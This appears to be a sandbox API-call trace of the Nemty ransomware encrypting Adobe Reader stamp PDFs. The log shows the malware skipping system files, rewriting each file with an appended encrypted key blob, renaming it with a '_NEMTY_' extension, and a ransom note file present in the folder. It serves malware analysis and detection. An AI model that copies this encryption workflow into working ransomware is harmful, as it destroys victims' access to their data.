[0190.007] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=42656) returned 1 [0190.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6a0) returned 0x6352c48 [0190.007] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.007] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa6a0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xa6a0, lpOverlapped=0x0) returned 1 [0190.011] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.011] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa6a0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xa6a0, lpOverlapped=0x0) returned 1 [0190.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.011] SetFilePointer (in: hFile=0x320, lDistanceToMove=42656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa6a0 [0190.012] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.012] CloseHandle (hObject=0x320) returned 1 [0190.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0190.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0190.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0190.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0190.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.012] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0190.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0190.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0190.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.013] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18efb, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0190.013] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0190.014] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0190.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0190.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0190.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0190.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0190.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0190.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0190.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0190.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0190.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0190.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0190.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0190.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0190.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0190.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0190.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0190.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0190.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0190.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0190.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0190.014] Sleep (dwMilliseconds=0x5) [0190.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24e89190, dwHighDateTime=0x1d561e8)) [0190.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24e89190, dwHighDateTime=0x1d561e8)) [0190.021] GetLastError () returned 0x0 [0190.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.022] GetLastError () returned 0x0 [0190.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0190.022] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.022] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.022] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0190.022] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="5qDdzuHj7Fs3Lu2a/kkkdbbGJ6E44Y1s1I/XGmDmB8YKoaBGN+qHW4fUeCeq2stA\r\nfd9Svc/t/7Fy7hwMRmSNdnRtx/uY8Gfkj/v/j0Ri1XLWv2JPsbfWfJ+t7XLqcJR9\r\nbDNn+vFEQDtEoUKDA8rjQdpQ46aRd44Js2SgTsrsuyVKlAKAo8rFvmtp+KMisPAW\r\nDsJC4/tn0E8QQls1h20aO5FYcfrjYoyaP2t1tjAmG8IPskK4bhQ5uM62dfK8nwsu\r\nbRMOhS3a5vuXf41NJ+YOGt0mbrpoGRAV9Q+1ngeyOFKqq8Pp3obRJHo9LT8mr0e6\r\nufhl28WOOWY1bFB7yZ0GHg==\r\n", pcchString=0x653df5c) returned 1 [0190.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0190.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0190.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0190.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.022] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0190.023] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=102139) returned 1 [0190.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x18ef0) returned 0x6352c48 [0190.023] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.023] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x18ef0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x18ef0, lpOverlapped=0x0) returned 1 [0190.031] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.031] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x18ef0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x18ef0, lpOverlapped=0x0) returned 1 [0190.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.031] SetFilePointer (in: hFile=0x320, lDistanceToMove=102139, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18efb [0190.031] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0190.031] CloseHandle (hObject=0x320) returned 1 [0190.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0190.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0190.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0190.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0190.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0190.032] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0190.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0190.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0190.032] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0190.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0190.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0190.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0190.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0190.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.033] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e16d70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24e16d70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24e16d70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0190.033] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0190.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0190.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0190.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0190.034] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0190.034] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.034] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 